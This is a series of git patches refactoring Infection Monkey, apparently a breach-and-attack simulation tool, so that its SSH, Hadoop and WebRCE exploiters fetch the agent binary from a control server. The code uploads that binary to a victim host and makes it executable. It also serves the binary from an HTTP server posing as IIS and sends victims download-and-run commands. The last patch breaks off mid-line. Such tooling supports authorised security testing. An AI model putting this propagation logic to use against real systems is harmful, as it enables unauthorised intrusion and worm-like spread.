From 0df165e14066fdb7b016442795b804fc6bdc9fe9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 14:55:20 -0500 Subject: [PATCH 1/9] Island: Refactor monkey download to take OS and return agent file --- monkey/monkey_island/cc/app.py | 3 +- .../cc/resources/monkey_download.py | 91 ++++++++----------- .../cc/services/run_local_monkey.py | 15 +-- 3 files changed, 47 insertions(+), 62 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d7a8227fb..863a88909 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -134,8 +134,7 @@ def init_api_resources(api): api.add_resource(ConfigurationImport, "/api/configuration/import") api.add_resource( MonkeyDownload, - "/api/monkey/download", - "/api/monkey/download/", + "/api/monkey/download/", ) api.add_resource(NetMap, "/api/netmap") api.add_resource(Edge, "/api/netmap/edge") diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index ee77091af..644cea758 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -1,63 +1,34 @@ import hashlib -import json import logging -import os +from pathlib import Path import flask_restful -from flask import request, send_from_directory +from flask import make_response, send_from_directory from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) -MONKEY_DOWNLOADS = [ - { - "type": "linux", - "filename": "monkey-linux-64", - }, - { - "type": "windows", - "filename": "monkey-windows-64.exe", - }, -] +AGENTS = { + "linux": "monkey-linux-64", + "windows": "monkey-windows-64.exe", +} -def get_monkey_executable(host_os): - for download in MONKEY_DOWNLOADS: - if host_os == download.get("type"): - logger.info(f"Monkey exec found for os: {host_os}") - return download - logger.warning(f"No monkey executables could be found for the host os: {host_os}") - return None +class UnsupportedOSError(Exception): + pass class MonkeyDownload(flask_restful.Resource): # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path) - - # Used by monkey. can't secure. - def post(self): - host_json = json.loads(request.data) - host_os = host_json.get("os") - if host_os: - result = get_monkey_executable(host_os.get("type")) - - if result: - # change resulting from new base path - executable_filename = result["filename"] - real_path = MonkeyDownload.get_executable_full_path(executable_filename) - if os.path.isfile(real_path): - result["size"] = os.path.getsize(real_path) - return result - - return {} - - @staticmethod - def get_executable_full_path(executable_filename): - real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename) - return real_path + def get(self, host_os): + try: + path = get_agent_executable_path(host_os) + return send_from_directory(path.parent, path.name) + except UnsupportedOSError as ex: + logger.error(ex) + return make_response({"error": str(ex)}, 404) @staticmethod def log_executable_hashes(): @@ -65,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource): Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). """ - filenames = set([x["filename"] for x in MONKEY_DOWNLOADS]) + filenames = set(AGENTS.values()) for filename in filenames: - filepath = MonkeyDownload.get_executable_full_path(filename) - if os.path.isfile(filepath): + filepath = get_executable_full_path(filename) + if filepath.is_file(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - logger.debug( - "{} hashes:\nSHA-256 {}".format( - filename, hashlib.sha256(file_contents).hexdigest() - ) - ) + file_sha256_hash = filename, hashlib.sha256(file_contents).hexdigest() + logger.debug(f"{filename} hash:\nSHA-256 {file_sha256_hash}") else: - logger.debug("No monkey executable for {}.".format(filepath)) + logger.debug(f"No monkey executable for {filepath}") + + +def get_agent_executable_path(host_os: str) -> Path: + try: + agent_path = get_executable_full_path(AGENTS[host_os]) + logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}") + + return agent_path + except KeyError: + logger.warning(f"No monkey executables could be found for the host os: {host_os}") + raise UnsupportedOSError( + f'No Agents are available for unsupported operating system "{host_os}"' + ) + + +def get_executable_full_path(executable_filename: str) -> Path: + return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index 4cdd89479..6059ceb71 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -5,8 +5,8 @@ import stat import subprocess from shutil import copyfile -from monkey_island.cc.resources.monkey_download import get_monkey_executable -from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.resources.monkey_download import get_agent_executable_path +from monkey_island.cc.server_utils.consts import ISLAND_PORT from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) @@ -25,12 +25,13 @@ class LocalMonkeyRunService: @staticmethod def run_local_monkey(): # get the monkey executable suitable to run on the server - result = get_monkey_executable(platform.system().lower()) - if not result: - return False, "OS Type not found" + try: + src_path = get_agent_executable_path(platform.system().lower()) + except Exception as ex: + logger.error(f"Error running agent from island: {ex}") + return False, str(ex) - src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"]) + dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name # copy the executable to temp path (don't run the monkey from its current location as it may # delete itself) From 50ca81f0fc3996480f98b7c851a5e5e72790dfd3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:27:59 -0500 Subject: [PATCH 2/9] Agent: Add IAgentRepository --- monkey/infection_monkey/exploit/__init__.py | 1 + .../exploit/i_agent_repository.py | 21 +++++++++++++++++++ 2 files changed, 22 insertions(+) create mode 100644 monkey/infection_monkey/exploit/i_agent_repository.py diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 42d8d18bf..105d7947e 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1 +1,2 @@ +from .i_agent_repository import IAgentRepository from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/i_agent_repository.py b/monkey/infection_monkey/exploit/i_agent_repository.py new file mode 100644 index 000000000..f63ca4038 --- /dev/null +++ b/monkey/infection_monkey/exploit/i_agent_repository.py @@ -0,0 +1,21 @@ +import abc +import io + + +class IAgentRepository(metaclass=abc.ABCMeta): + """ + IAgentRepository provides an interface for other components to access agent binaries. Notably, + this is used by exploiters during propagation to retrieve the appropriate agent binary so that + it can be uploaded to a victim and executed. + """ + + @abc.abstractmethod + def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO: + """ + Retrieve the appropriate agent binary from the repository. + :param str os: The name of the operating system on which the agent binary will run + :param str architecture: Reserved + :return: A file-like object for the requested agent binary + :rtype: io.BytesIO + """ + pass From c888c84e64288101cdcb6da971a6dacf95b762d8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:28:48 -0500 Subject: [PATCH 3/9] Agent: Add CachingAgentRepository --- monkey/infection_monkey/exploit/__init__.py | 1 + .../exploit/caching_agent_repository.py | 37 +++++++++++++++++++ 2 files changed, 38 insertions(+) create mode 100644 monkey/infection_monkey/exploit/caching_agent_repository.py diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 105d7947e..7e5733502 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,2 +1,3 @@ from .i_agent_repository import IAgentRepository +from .caching_agent_repository import CachingAgentRepository from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py new file mode 100644 index 000000000..2e52990b9 --- /dev/null +++ b/monkey/infection_monkey/exploit/caching_agent_repository.py @@ -0,0 +1,37 @@ +import io +from functools import lru_cache +from typing import Mapping + +import requests + +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT + +from . import IAgentRepository + + +class CachingAgentRepository(IAgentRepository): + """ + CachingAgentRepository implements the IAgentRepository interface and downloads the requested + agent binary from the island on request. The agent binary is cached so that only one request is + actually sent to the island for each requested binary. + """ + + def __init__(self, island_url: str, proxies: Mapping[str, str]): + self._island_url = island_url + self._proxies = proxies + + def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO: + return io.BytesIO(self._download_binary_from_island(os)) + + @lru_cache(maxsize=None) + def _download_binary_from_island(self, os: str) -> bytes: + response = requests.get( # noqa: DUO123 + f"{self._island_url}/api/monkey/download/{os}", + verify=False, + proxies=self._proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + + response.raise_for_status() + + return response.content From cc9cfc5e3b6f865623732a3300f20f58ec7e4d97 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:43:20 -0500 Subject: [PATCH 4/9] Agent: Inject IAgentRepository into exploiters --- .../infection_monkey/exploit/HostExploiter.py | 11 +++++++++- .../exploit/exploiter_wrapper.py | 20 +++++++++++++++---- monkey/infection_monkey/monkey.py | 7 +++++-- 3 files changed, 31 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index b74dc3871..69924b61a 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from . import IAgentRepository + logger = logging.getLogger(__name__) @@ -67,9 +69,16 @@ class HostExploiter: ) # TODO: host should be VictimHost, at the moment it can't because of circular dependency - def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): + def exploit_host( + self, + host, + telemetry_messenger: ITelemetryMessenger, + agent_repository: IAgentRepository, + options: Dict, + ): self.host = host self.telemetry_messenger = telemetry_messenger + self.agent_repository = agent_repository self.options = options self.pre_exploit() diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index 444c89b31..c621ecaea 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -3,6 +3,7 @@ from typing import Dict, Type from infection_monkey.model import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from . import IAgentRepository from .HostExploiter import HostExploiter @@ -16,17 +17,28 @@ class ExploiterWrapper: class Inner: def __init__( - self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger + self, + exploit_class: Type[HostExploiter], + telemetry_messenger: ITelemetryMessenger, + agent_repository: IAgentRepository, ): self._exploit_class = exploit_class self._telemetry_messenger = telemetry_messenger + self._agent_repository = agent_repository def exploit_host(self, host: VictimHost, options: Dict): exploiter = self._exploit_class() - return exploiter.exploit_host(host, self._telemetry_messenger, options) + return exploiter.exploit_host( + host, self._telemetry_messenger, self._agent_repository, options + ) - def __init__(self, telemetry_messenger: ITelemetryMessenger): + def __init__( + self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository + ): self._telemetry_messenger = telemetry_messenger + self._agent_repository = agent_repository def wrap(self, exploit_class: Type[HostExploiter]): - return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger) + return ExploiterWrapper.Inner( + exploit_class, self._telemetry_messenger, self._agent_repository + ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3fb26f348..eaa6e0d90 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) -from infection_monkey.exploit import ExploiterWrapper +from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType @@ -200,7 +200,10 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) - exploit_wrapper = ExploiterWrapper(self.telemetry_messenger) + agent_repoitory = CachingAgentRepository( + f"https://{self._default_server}", ControlClient.proxies + ) + exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory) puppet.load_plugin( "SSHExploiter", From c93835245c11c005f9d29d2bd1d5453f68811fd8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:46:48 -0500 Subject: [PATCH 5/9] Agent: Use IAgentRepository in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 31 +++++++++++----------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 39544a93c..0192ae3ed 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -4,12 +4,11 @@ import time import paramiko -import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target @@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter): _, stdout, _ = ssh.exec_command("uname -o") uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: - self.host.os["type"] = "linux" self.exploit_result.os = "linux" else: self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" @@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - src_path = get_target_monkey(self.host) + agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os) - if not src_path: + if not agent_binary_file_object: self.exploit_result.error_message = ( f"Can't find suitable monkey executable for host {self.host}" ) @@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter): return self.exploit_result try: - ftp = ssh.open_sftp() - - self._update_timestamp = time.time() - with monkeyfs.open(src_path) as file_obj: + with ssh.open_sftp() as ftp: + self._update_timestamp = time.time() ftp.putfo( - file_obj, + agent_binary_file_object, self.options["dropper_target_path_linux"], - file_size=monkeyfs.getsize(src_path), + file_size=len(agent_binary_file_object.getbuffer()), callback=self.log_transfer, ) - self._make_agent_executable(ftp) - status = ScanStatus.USED - ftp.close() + self._set_executable_bit_on_agent_binary(ftp) + + status = ScanStatus.USED except Exception as exc: self.exploit_result.error_message = ( f"Error uploading file into victim {self.host}: ({exc})" @@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter): self.telemetry_messenger.send_telemetry( T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + status, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + self.options["dropper_target_path_linux"], ) ) if status == ScanStatus.SCANNED: @@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient): + def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient): ftp.chmod(self.options["dropper_target_path_linux"], 0o700) self.telemetry_messenger.send_telemetry( T1222Telem( From 86c18b556f32478faa900ccbf81e36f49f0c2fdc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Mar 2022 13:29:55 -0500 Subject: [PATCH 6/9] Agent: Remove disused transport.http.HTTPServer --- .../exploit/tools/http_tools.py | 23 +--------- monkey/infection_monkey/transport/__init__.py | 1 - monkey/infection_monkey/transport/http.py | 44 ------------------- 3 files changed, 1 insertion(+), 67 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 25aca3321..cb33fbd71 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.transport import LockedHTTPServer logger = logging.getLogger(__name__) class HTTPTools(object): - @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), - httpd, - ) - @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): http_path, http_thread = HTTPTools.create_locked_transfer( diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 0dcbd56c6..960bce311 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,2 +1 @@ -from infection_monkey.transport.http import HTTPServer from infection_monkey.transport.http import LockedHTTPServer diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index f8ca906b0..a2f668036 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -157,50 +157,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): ) -class HTTPServer(threading.Thread): - def __init__(self, local_ip, local_port, filename, max_downloads=1): - self._local_ip = local_ip - self._local_port = local_port - self._filename = filename - self.max_downloads = max_downloads - self.downloads = 0 - self._stopped = False - threading.Thread.__init__(self) - - def run(self): - class TempHandler(FileServHTTPRequestHandler): - from common.utils.attack_utils import ScanStatus - from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - - filename = self._filename - - @staticmethod - def report_download(dest=None): - logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) - TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, - ).send() - self.downloads += 1 - if not self.downloads < self.max_downloads: - return True - return False - - httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) - httpd.timeout = 0.5 # this is irrelevant? - - while not self._stopped and self.downloads < self.max_downloads: - httpd.handle_request() - - self._stopped = True - - def stop(self, timeout=60): - self._stopped = True - self.join(timeout) - - class LockedHTTPServer(threading.Thread): """ Same as HTTPServer used for file downloads just with locks to avoid racing conditions. From 1b1b68f6a63b0c76e7db9ffa65aa6f171f38da8b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 20:08:39 -0500 Subject: [PATCH 7/9] Use IAgentRepository in Hadoop/WebRCE exploiter --- monkey/infection_monkey/exploit/hadoop.py | 15 ++++++--- .../exploit/tools/http_tools.py | 11 ++++--- monkey/infection_monkey/exploit/web_rce.py | 15 +++++---- monkey/infection_monkey/transport/http.py | 33 ++++++++++++------- 4 files changed, 47 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 5a3c29b65..69e5c601b 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return self.exploit_result - paths = self.get_monkey_paths() - if not paths: - return self.exploit_result - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) try: - command = self._build_command(paths["dest_path"], http_path) + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + except KeyError: + return self.exploit_result + + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) + + try: + command = self._build_command(dropper_target_path, http_path) if self.exploit(self.vulnerable_urls[0], command): self.add_executed_cmd(command) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index cb33fbd71..467539180 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -28,7 +28,9 @@ class HTTPTools(object): return http_path, http_thread @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + def create_locked_transfer( + host, dropper_target_path, agent_repository, local_ip=None, local_port=None + ): """ Create http server for file transfer with a lock :param host: Variable with target's information @@ -50,12 +52,13 @@ class HTTPTools(object): logger.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd = LockedHTTPServer( + local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock + ) httpd.start() lock.acquire() return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 7bc02a694..4473a24f5 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -292,11 +292,12 @@ class WebRCE(HostExploiter): if not self.host.os["type"]: logger.error("Unknown target's os type. Skipping.") return False - paths = self.get_monkey_paths() - if not paths: - return False + + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) if not http_path: logger.debug("Exploiter failed, http transfer creation failed.") return False @@ -304,10 +305,10 @@ class WebRCE(HostExploiter): # Choose command: if not commands: commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.get_command(dropper_target_path, http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) + resp = self.run_backup_commands(resp, url, dropper_target_path, http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -316,7 +317,7 @@ class WebRCE(HostExploiter): if resp is False: return resp else: - return {"response": resp, "path": paths["dest_path"]} + return {"response": resp, "path": dropper_target_path} def change_permissions(self, url, path, command=None): """ diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index a2f668036..5afb5c2d8 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -1,5 +1,4 @@ import http.server -import os.path import select import socket import threading @@ -7,7 +6,6 @@ import urllib from logging import getLogger from urllib.parse import urlsplit -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time @@ -16,7 +14,8 @@ logger = getLogger(__name__) class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" - filename = "" + victim_os = "" + agent_repository = None def version_string(self): return "Microsoft-IIS/7.5." @@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): total += chunk start_range += chunk - if f.tell() == monkeyfs.getsize(self.filename): + if f.tell() == len(f.getbuffer()): if self.report_download(self.client_address): self.close_connection = 1 @@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != "/" + urllib.parse.quote(self.victim_os): self.send_error(500, "") return None, 0, 0 try: - f = monkeyfs.open(self.filename, "rb") + f = self.agent_repository.get_agent_binary(self.victim_os) except IOError: self.send_error(404, "File not found") return None, 0, 0 - size = monkeyfs.getsize(self.filename) + size = len(f.getbuffer()) start_range = 0 end_range = size @@ -169,10 +168,21 @@ class LockedHTTPServer(threading.Thread): # Seconds to wait until server stops STOP_TIMEOUT = 5 - def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + def __init__( + self, + local_ip, + local_port, + victim_os, + dropper_target_path, + agent_repository, + lock, + max_downloads=1, + ): self._local_ip = local_ip self._local_port = local_port - self._filename = filename + self._victim_os = victim_os + self._dropper_target_path = dropper_target_path + self._agent_repository = agent_repository self.max_downloads = max_downloads self.downloads = 0 self._stopped = False @@ -185,7 +195,8 @@ class LockedHTTPServer(threading.Thread): from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - filename = self._filename + victim_os = self._victim_os + agent_repository = self._agent_repository @staticmethod def report_download(dest=None): @@ -194,7 +205,7 @@ class LockedHTTPServer(threading.Thread): TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), dest[0], - self._filename, + self._dropper_target_path, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: From 279aed36af0abc7d1140373fca4f3695142eaccd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Mar 2022 14:57:00 -0500 Subject: [PATCH 8/9] Agent: Remove monkeyfs and download methods from ControlClient --- monkey/infection_monkey/control.py | 81 ------------------- monkey/infection_monkey/exploit/powershell.py | 7 +- .../infection_monkey/exploit/tools/helpers.py | 13 +-- .../exploit/tools/smb_tools.py | 7 +- monkey/infection_monkey/monkeyfs.py | 58 ------------- .../exploit/test_powershell.py | 3 +- 6 files changed, 16 insertions(+), 153 deletions(-) delete mode 100644 monkey/infection_monkey/monkeyfs.py diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index c4b4b9555..76c8b50e3 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -8,7 +8,6 @@ from urllib.parse import urljoin import requests from requests.exceptions import ConnectionError -import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT @@ -258,22 +257,6 @@ class ControlClient(object): ControlClient.load_control_config() return not WormConfiguration.alive - @staticmethod - def download_monkey_exe(host): - filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) - if filename is None: - return None - return ControlClient.download_monkey_exe_by_filename(filename, size) - - @staticmethod - def download_monkey_exe_by_os(is_windows, is_32bit): - filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit) - ) - if filename is None: - return None - return ControlClient.download_monkey_exe_by_filename(filename, size) - @staticmethod def spoof_host_os_info(is_windows, is_32bit): if is_windows: @@ -291,70 +274,6 @@ class ControlClient(object): return {"os": {"type": os, "machine": arch}} - @staticmethod - def download_monkey_exe_by_filename(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file - else: - download = requests.get( # noqa: DUO123 - "https://%s/api/monkey/download/%s" - % (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - - with monkeyfs.open(dest_file, "wb") as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file - - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - - @staticmethod - def get_monkey_exe_filename_and_size_by_host(host): - return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) - - @staticmethod - def get_monkey_exe_filename_and_size_by_host_dict(host_dict): - if not WormConfiguration.current_server: - return None, None - try: - reply = requests.post( # noqa: DUO123 - "https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host_dict), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, - ) - if 200 == reply.status_code: - result_json = reply.json() - filename = result_json.get("filename") - if not filename: - return None, None - size = result_json.get("size") - return filename, size - else: - return None, None - - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - - return None, None - @staticmethod def create_control_tunnel(): if not WormConfiguration.current_server: diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6db20b6a4..324ed0495 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -2,7 +2,6 @@ import logging import os from typing import List, Optional -import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter @@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( IPowerShellClient, PowerShellClient, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import 